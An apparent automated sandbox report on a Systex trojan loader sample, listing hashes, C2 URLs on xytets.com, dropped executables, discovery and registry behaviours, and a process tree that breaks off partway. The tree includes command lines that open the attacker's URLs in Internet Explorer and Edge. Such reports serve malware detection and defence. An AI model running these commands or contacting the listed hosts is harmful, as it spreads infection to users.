systex | b38ba0f250864b45393f4911aef546c048cb23eab5887c8e15a26d5a02cc7ce2

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 01:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260718-cb79tacv9p
SHA256 b38ba0f250864b45393f4911aef546c048cb23eab5887c8e15a26d5a02cc7ce2
MD5 d501e45062ae291cde6610edb7086ba8
SHA1 01eb057b647d83b1fd3850f2140159504b668c31
SHA512 d5332e7722e265f70801f844c215fd9206f8d72fcf3c21aa0be446e4df9c94a9bd99df4aa9122d0c2c7af5bd19576107420b9fc86e303bdb71e37ad46015213d
SSDEEP 3072:UJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:UghLQ0sQmpcF8BzXfwVfAI
TLSH
T153344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
4592	CP.exe
2400	hcaupnhfzu.exe
2496	CP.exe
2808	CP.exe
1992	i_hcaupnhfzu.exe
1300	cwupmhezxr.sys
4956	CP.exe
6056	xurmkhbzur.exe
5224	CP.exe
2556	CP.exe
1996	i_xurmkhbzur.exe
6012	hbztrljebz.sys
4324	CP.exe
4104	hbztrmjecw.exe
5836	CP.exe
3400	CP.exe
4872	i_hbztrmjecw.exe
3140	bywqojgeyw.sys
5944	CP.exe
1992	eywtrljgeb.exe
2864	CP.exe
4308	CP.exe
764	i_eywtrljgeb.exe
5456	lgebwtolge.sys
3848	CP.exe
3376	trljdbvtol.exe
4624	CP.exe
1796	CP.exe
5276	i_trljdbvtol.exe
4232	aytqligdyw.sys
1256	CP.exe
2396	bvtnljdayv.exe
4212	CP.exe
2276	CP.exe
3520	i_bvtnljdayv.exe
4716	sqkicavsnl.sys
4776	CP.exe
872	qkifaysqki.exe
1940	CP.exe
1988	CP.exe
1056	i_qkifaysqki.exe
796	nkfdxvpnhf.sys
4260	CP.exe
4252	kfdxvpnhfa.exe
3012	CP.exe
5584	CP.exe
5128	i_kfdxvpnhfa.exe
3140	qkhfzxvsnk.sys
2460	CP.exe
6120	zxrpnhfzxu.exe
1732	CP.exe
5536	CP.exe
2384	i_zxrpnhfzxu.exe
3068	hfzxupmhfz.sys
5688	CP.exe
1712	ecxupmhfzx.exe
2468	CP.exe
4352	CP.exe
1188	i_ecxupmhfzx.exe
5208	bzwromhecw.sys
5460	CP.exe
4476	bzurmjhezw.exe
248	CP.exe
2300	CP.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5632_2105772161\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5632_759428784\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5632_2105772161\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbvtolgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnifaxsqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecxupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jywqoidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xurmkhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hcaupnhfzu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywtrljgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnljdayv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecxupmhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzurmjhezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkiusn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxusmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxuomhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwurpjhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpnhfzxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavtnlfdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnifaxsqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hcaupnhfzu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrmjecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywtrljgeb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljdbvtol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnljdayv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnhfa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzurmjhezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxusmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpnhfzxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jywqoidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbvtolgdyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idavtnlfdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkiusn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwurpjhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xurmkhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdbvtol.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6024	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2916	ipconfig.exe
1568	ipconfig.exe
1204	ipconfig.exe
2772	ipconfig.exe
884	ipconfig.exe
5980	ipconfig.exe
680	ipconfig.exe
2624	ipconfig.exe
4136	ipconfig.exe
5712	ipconfig.exe
1920	ipconfig.exe
2924	ipconfig.exe
3812	ipconfig.exe
5088	ipconfig.exe
4648	ipconfig.exe
5756	ipconfig.exe
1688	ipconfig.exe
6044	ipconfig.exe
1884	ipconfig.exe
5732	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288133242077291"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-552508041-2681165170-3229858294-1000\{D6121324-6EA4-4379-BBE1-0F3A39D977BA}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe
2400	hcaupnhfzu.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5632	msedge.exe
5632	msedge.exe
5632	msedge.exe
5632	msedge.exe
5632	msedge.exe
5632	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	i_hcaupnhfzu.exe
Token: SeDebugPrivilege	1996	i_xurmkhbzur.exe
Token: SeDebugPrivilege	4872	i_hbztrmjecw.exe
Token: SeDebugPrivilege	764	i_eywtrljgeb.exe
Token: SeDebugPrivilege	5276	i_trljdbvtol.exe
Token: SeDebugPrivilege	3520	i_bvtnljdayv.exe
Token: SeDebugPrivilege	1056	i_qkifaysqki.exe
Token: SeDebugPrivilege	5128	i_kfdxvpnhfa.exe
Token: SeDebugPrivilege	2384	i_zxrpnhfzxu.exe
Token: SeDebugPrivilege	1188	i_ecxupmhfzx.exe
Token: SeDebugPrivilege	4332	i_bzurmjhezw.exe
Token: SeDebugPrivilege	5720	i_ebwuomgeyw.exe
Token: SeDebugPrivilege	2924	i_jywqoidbvt.exe
Token: SeDebugPrivilege	3300	i_dbvtolgdyw.exe
Token: SeDebugPrivilege	1216	i_idavtnlfdb.exe
Token: SeDebugPrivilege	1920	i_spnifaxsqn.exe
Token: SeDebugPrivilege	4988	i_faxsqkiusn.exe
Token: SeDebugPrivilege	1300	i_fzxusmkecx.exe
Token: SeDebugPrivilege	3220	i_zxuomhezxr.exe
Token: SeDebugPrivilege	4964	i_ebwurpjhec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5632	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4220 wrote to memory of 3328	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 4220 wrote to memory of 3108	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 3108 wrote to memory of 5632	3108	iexplore.exe	91
PID 3328 wrote to memory of 804	3328	iexplore.exe	92
PID 5632 wrote to memory of 2900	5632	msedge.exe	93
PID 5632 wrote to memory of 6024	5632	msedge.exe	94
PID 5632 wrote to memory of 4780	5632	msedge.exe	95
PID 5632 wrote to memory of 4780	5632	msedge.exe	95
PID 5632 wrote to memory of 4780	5632	msedge.exe	95
PID 5632 wrote to memory of 2960	5632	msedge.exe	96
PID 5632 wrote to memory of 2960	5632	msedge.exe	96
PID 5632 wrote to memory of 5060	5632	msedge.exe	98
PID 5632 wrote to memory of 5060	5632	msedge.exe	98
PID 5632 wrote to memory of 5060	5632	msedge.exe	98
PID 5632 wrote to memory of 6072	5632	msedge.exe	99
PID 5632 wrote to memory of 6072	5632	msedge.exe	99
PID 5632 wrote to memory of 6072	5632	msedge.exe	99
PID 5632 wrote to memory of 3160	5632	msedge.exe	100
PID 5632 wrote to memory of 3160	5632	msedge.exe	100
PID 5632 wrote to memory of 3160	5632	msedge.exe	100
PID 5632 wrote to memory of 204	5632	msedge.exe	101
PID 5632 wrote to memory of 120	5632	msedge.exe	102
PID 5632 wrote to memory of 204	5632	msedge.exe	101
PID 5632 wrote to memory of 204	5632	msedge.exe	101
PID 5632 wrote to memory of 120	5632	msedge.exe	102
PID 5632 wrote to memory of 120	5632	msedge.exe	102
PID 5632 wrote to memory of 2312	5632	msedge.exe	104
PID 5632 wrote to memory of 2312	5632	msedge.exe	104
PID 5632 wrote to memory of 5648	5632	msedge.exe	105
PID 5632 wrote to memory of 2492	5632	msedge.exe	106
PID 5632 wrote to memory of 5648	5632	msedge.exe	105
PID 5632 wrote to memory of 2492	5632	msedge.exe	106
PID 5632 wrote to memory of 2104	5632	msedge.exe	108
PID 4220 wrote to memory of 4592	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	109
PID 2400 wrote to memory of 2496	2400	hcaupnhfzu.exe	112
PID 5632 wrote to memory of 4168	5632	msedge.exe	115
PID 5632 wrote to memory of 4168	5632	msedge.exe	115
PID 5632 wrote to memory of 4948	5632	msedge.exe	117
PID 5632 wrote to memory of 4948	5632	msedge.exe	117
PID 4220 wrote to memory of 2808	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 4220 wrote to memory of 4956	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	123
PID 6056 wrote to memory of 5224	6056	xurmkhbzur.exe	125
PID 4220 wrote to memory of 2556	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 4220 wrote to memory of 4324	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 4104 wrote to memory of 5836	4104	hbztrmjecw.exe	134
PID 4220 wrote to memory of 3400	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 4220 wrote to memory of 5944	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 1992 wrote to memory of 2864	1992	eywtrljgeb.exe	143
PID 4220 wrote to memory of 4308	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 5632 wrote to memory of 3220	5632	msedge.exe	149
PID 5632 wrote to memory of 3676	5632	msedge.exe	150
PID 5632 wrote to memory of 5628	5632	msedge.exe	151
PID 4220 wrote to memory of 3848	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 3376 wrote to memory of 4624	3376	trljdbvtol.exe	156
PID 4220 wrote to memory of 1796	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	159
PID 4220 wrote to memory of 1256	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 2396 wrote to memory of 4212	2396	bvtnljdayv.exe	165
PID 4220 wrote to memory of 2276	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 4220 wrote to memory of 4776	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 872 wrote to memory of 1940	872	qkifaysqki.exe	174
PID 4220 wrote to memory of 1988	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	177
PID 4220 wrote to memory of 4260	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	181
PID 4252 wrote to memory of 3012	4252	kfdxvpnhfa.exe	183
PID 4220 wrote to memory of 5584	4220	2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe	186

C:\Users\Admin\AppData\Local\Temp\2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_d501e45062ae291cde6610edb7086ba8_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4220
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    PID:804
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ff8c661c188,0x7ff8c661c194,0x7ff8c661c1a0
      4⤵
      PID:2900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2164,i,1553707050999822135,13196379016728323509,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:11
      4⤵
      System Time Discovery
      PID:6024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1968,i,1414619174662382186,425212031279740184,262144 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:2
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2536,i,6759659232469222058,1301799711949243056,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=2824 /prefetch:13
      4⤵
      PID:2960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
